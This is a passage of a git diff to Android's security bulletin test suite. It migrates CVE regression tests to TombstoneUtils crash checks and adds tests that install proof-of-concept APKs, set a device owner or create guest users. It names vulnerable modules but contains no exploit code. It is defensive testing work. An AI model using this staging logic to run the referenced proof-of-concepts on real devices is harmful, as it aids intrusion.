+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -33,13 +34,14 @@
          */
         AdbUtils.pushResource(
                 "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runCommandLine(
-                "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
-                    + mediaFileName, getDevice());
-        Thread.sleep(4000); // Delay to run the media file and capture output in logcat
-        AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
-        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine(
+                    "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+                        + mediaFileName, getDevice());
+            Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+            AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+        }
     }
 
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
deleted file mode 100644
index 2e1ddda..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends NonRootSecurityTestCase {
-    static final String TEST_APP = "CVE-2021-0642.apk";
-    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
-    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-
-    @Before
-    public void setUp() throws Exception {
-        ITestDevice device = getDevice();
-        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-        uninstallPackage(device, TEST_PKG);
-    }
-
-    /**
-     * b/185126149
-     */
-    @AppModeFull
-    @AsbSecurityTest(cveBugId = 185126149)
-    @Test
-    public void testPocCVE_2021_0642() throws Exception {
-        installPackage(TEST_APP);
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
deleted file mode 100644
index 15c59ef..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends NonRootSecurityTestCase {
-    private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
-    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    private static final String TEST_APP = "CVE-2021-0685.apk";
-
-    @Before
-    public void setUp() throws Exception {
-        uninstallPackage(getDevice(), TEST_PKG);
-    }
-
-    @AppModeFull
-    @AsbSecurityTest(cveBugId = 191055353)
-    @Test
-    public void testPocCVE_2021_0685() throws Exception {
-        installPackage(TEST_APP);
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPackageElementPresence"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 2fc7cee..a8ad254 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,8 +18,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -36,9 +37,9 @@
     public void testPocCVE_2021_0919() throws Exception {
         pocPusher.only32();
         String binaryName = "CVE-2021-0919";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 2a55a32..6bc6875 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -39,9 +40,9 @@
         AdbUtils.assumeHasNfc(device);
         assumeIsSupportedNfcDevice(device);
         String binaryName = "CVE-2021-0956";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
new file mode 100644
index 0000000..90d8196
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0963 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_PKG = "android.security.cts.CVE_2021_0963";
+
+    /**
+     * b/199754277
+     * Vulnerable app    : KeyChain.apk
+     * Vulnerable module : com.android.keychain
+     * Is Play managed   : No
+     */
+    @AsbSecurityTest(cveBugId = 199754277)
+    @Test
+    public void testPocCVE_2021_0963() {
+        try {
+            ITestDevice device = getDevice();
+
+            /* Wake up the device */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            installPackage("CVE-2021-0963.apk");
+
+            /*
+             * Set device as owner. After the test is completed, this change is reverted in the
+             * DeviceTest.java's tearDown() method by calling clearDeviceOwnerApp() on an instance
+             * of DevicePolicyManager.
+             */
+            AdbUtils.runCommandLine("dpm set-device-owner --user 0 '" + TEST_PKG + "/" + TEST_PKG
+                    + ".PocDeviceAdminReceiver" + "'", device);
+
+            /* Run the device test "testOverlayButtonPresence" */
+            runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 6499961..fdc76ad 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -17,6 +17,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -37,7 +38,8 @@
         String packageName = "android.security.cts.CVE_2021_30351";
         ITestDevice device = getDevice();
 
-        try {
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.codec");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             /* Push the app to /data/local/tmp */
             pocPusher.appendBitness(false);
             pocPusher.pushFile(apkName, appPath);
@@ -58,11 +60,6 @@
         } finally {
             /* Un-install the app after the test */
             AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Check if media.codec has crashed thereby indicating the presence */
-            /* of the vulnerability */
-            String logcat = AdbUtils.runCommandLine("logcat -d", device);
-            AdbUtils.assertNoCrashes(getDevice(), "media.codec");
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
index 873fcc9..f80fdb7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import org.junit.Test;
@@ -39,10 +40,10 @@
     public void testPocCVE_2021_39623() throws Exception {
         String binaryName = "CVE-2021-39623";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName)
                 .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
                         "android::SimpleDecodingSource::doRead"));
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         testConfig.config.setSignals(signals);
         testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
         String inputFiles[] = {"cve_2021_39623.ogg"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 49ba33f..549f1fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import org.junit.Test;
@@ -39,12 +40,12 @@
     public void testPocCVE_2021_39804() throws Exception {
         String inputFiles[] = {"cve_2021_39804.heif"};
         String binaryName = "CVE-2021-39804";
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         testConfig.config =
-                new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+                new TombstoneUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
                         new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
-        testConfig.config.checkMinAddress(false);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
new file mode 100644
index 0000000..cc9d347
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.RootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20112 extends RootSecurityTestCase {
+
+    // b/206987762
+    // Vulnerable module : com.android.settings
+    // Vulnerable apk : Settings.apk
+    // Is play managed : No
+    @AsbSecurityTest(cveBugId = 206987762)
+    @Test
+    public void testPocCVE_2022_20112() {
+        final String testPkg = "android.security.cts.CVE_2022_20112";
+        ITestDevice device = null;
+        int currentUser = -1;
+        int newUser = -1;
+        try {
+            device = getDevice();
+
+            // Device wakeup and unlock
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("wm dismiss-keyguard", device);
+
+            // Get current user
+            currentUser = device.getCurrentUser();
+
+            // Create new guest user 'CTSUser' for test
+            newUser = device.createUser("CTSUser", true, false);
+
+            // Start new guest user 'CTSUser'
+            assumeTrue("Unable to create new guest user", device.startUser(newUser, true));
+
+            // Switch to new user 'CTSUser'
+            assumeTrue("Unable to switch to guest user", device.switchUser(newUser));
+
+            // Install PoC application
+            installPackage("CVE-2022-20112.apk");
+
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testprivateDnsPreferenceController");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                if (currentUser != -1) {
+                    // Switch back to previous user
+                    device.switchUser(currentUser);
+                }
+                if (newUser != -1) {
+                    // Stop user 'CTSUser'
+                    device.stopUser(newUser);
+
+                    // Remove user 'CTSUser'
+                    device.removeUser(newUser);
+                }
+            } catch (Exception e) {
+                // Ignore exception here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index f47ecfc..99a52d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
@@ -39,15 +40,13 @@
     public void testPocCVE_2022_20123() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
-        String signals[] = {CrashUtils.SIGSEGV};
         String binaryName = "CVE-2022-20123";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libnfc_nci_jni", "Mfc_RecvPacket"));
         testConfig.config
                 .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
-        testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index dbb16d7..f9a73e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeNoException;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -42,11 +43,11 @@
             AdbUtils.assumeHasNfc(getDevice());
             assumeIsSupportedNfcDevice(getDevice());
             pocPusher.only64();
-            String signals[] = {CrashUtils.SIGSEGV};
+            String signals[] = {TombstoneUtils.Signals.SIGSEGV};
             String binaryName = "CVE-2022-20131";
             AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
             testConfig.config =
-                    new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                    new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                             .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                                     "nfc_ncif_proc_ee_discover_req"));
             testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 8b1cce6..429147f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -19,9 +19,10 @@
 import static org.junit.Assume.assumeNoException;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -42,11 +43,11 @@
             AdbUtils.assumeHasNfc(getDevice());
             assumeIsSupportedNfcDevice(getDevice());
             pocPusher.only64();
-            String signals[] = { CrashUtils.SIGSEGV };
+            String signals[] = { TombstoneUtils.Signals.SIGSEGV };
             String binaryName = "CVE-2022-20147";
             AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName,
                     getDevice());
-            testConfig.config = new CrashUtils.Config()
+            testConfig.config = new TombstoneUtils.Config()
                     .setProcessPatterns(Pattern.compile(binaryName))
                     .setBacktraceIncludes(new BacktraceFilterPattern(
                             "libnfc-nci", "nfa_dm_check_set_config"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
index 3d31cee..98befd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -16,18 +16,18 @@
 
 package android.security.cts;
 
+import static com.android.sts.common.SystemUtil.withSetting;
+
 import static org.junit.Assume.assumeNoException;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2022_20197 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
@@ -35,37 +35,11 @@
     @AsbSecurityTest(cveBugId = 208279300)
     @Test
     public void testPocCVE_2022_20197() {
-        ITestDevice device = null;
-        boolean isPolicyPresent = true;
-        boolean isHiddenApiEnabled = true;
-        String status = "";
-        try {
-            device = getDevice();
+        try (AutoCloseable a = withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
             installPackage("CVE-2022-20197.apk");
-
-            status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
-            if (status.toLowerCase().contains("null")) {
-                isPolicyPresent = false;
-            } else if (!status.toLowerCase().contains("1")) {
-                isHiddenApiEnabled = false;
-            }
-            if (!isPolicyPresent || !isHiddenApiEnabled) {
-                AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
-            }
             runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
         } catch (Exception e) {
             assumeNoException(e);
-        } finally {
-            try {
-                if (!isPolicyPresent) {
-                    AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
-                } else if (!isHiddenApiEnabled) {
-                    AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
-                            device);
-                }
-            } catch (Exception e) {
-                // ignore all exceptions.
-            }
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
index 8087e69..511cbd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -21,27 +21,27 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2022_20415 extends NonRootSecurityTestCase {
 
-    @AsbSecurityTest(cveBugId = 228450811)
+    // b/231322873
+    // Vulnerable app    : SystemUI.apk
+    // Vulnerable module : com.android.systemui
+    // Is Play managed   : No
+    @AsbSecurityTest(cveBugId = 231322873)
     @Test
-    public void testPocCVE_2022_20347() {
+    public void testPocCVE_2022_20415() {
         try {
-            final String testPkg = "android.security.cts.CVE_2022_20347";
-            final String testClass = testPkg + "." + "DeviceTest";
-            ITestDevice device = getDevice();
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-            installPackage("CVE-2022-20347.apk");
-            runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+            final String testPkg = "android.security.cts.CVE_2022_20415";
+
+            // Install the test-app
+            installPackage("CVE-2022-20415.apk");
+            runDeviceTests(testPkg, testPkg + "." + "DeviceTest", "testFullScreenIntent");
         } catch (Exception e) {
             assumeNoException(e);
         }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
similarity index 71%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
index 8087e69..62d0f16 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
@@ -28,20 +28,31 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2022_20475 extends NonRootSecurityTestCase {
 
-    @AsbSecurityTest(cveBugId = 228450811)
+    /**
+     * b/240663194
+     * Vulnerable module : services.jar
+     * Is Play Managed   : No
+     */
+    @AsbSecurityTest(cveBugId = 240663194)
     @Test
-    public void testPocCVE_2022_20347() {
+    public void testPocCVE_2022_20475() {
         try {
-            final String testPkg = "android.security.cts.CVE_2022_20347";
-            final String testClass = testPkg + "." + "DeviceTest";
+            final String testPkg = "android.security.cts.CVE_2022_20475_test";
             ITestDevice device = getDevice();
+
+            // Install the test and target apps
+            installPackage("CVE-2022-20475-test.apk");
+            installPackage("CVE-2022-20475-target.apk");
+
+            // Wake up the device
             AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
             AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
             AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-            installPackage("CVE-2022-20347.apk");
-            runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+            // Run the test "testCVE_2022_20475"
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2022_20475");
         } catch (Exception e) {
             assumeNoException(e);
         }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
index 5c2ce7b..5d3adb8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -19,6 +19,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -37,11 +38,13 @@
          */
         safeReboot();
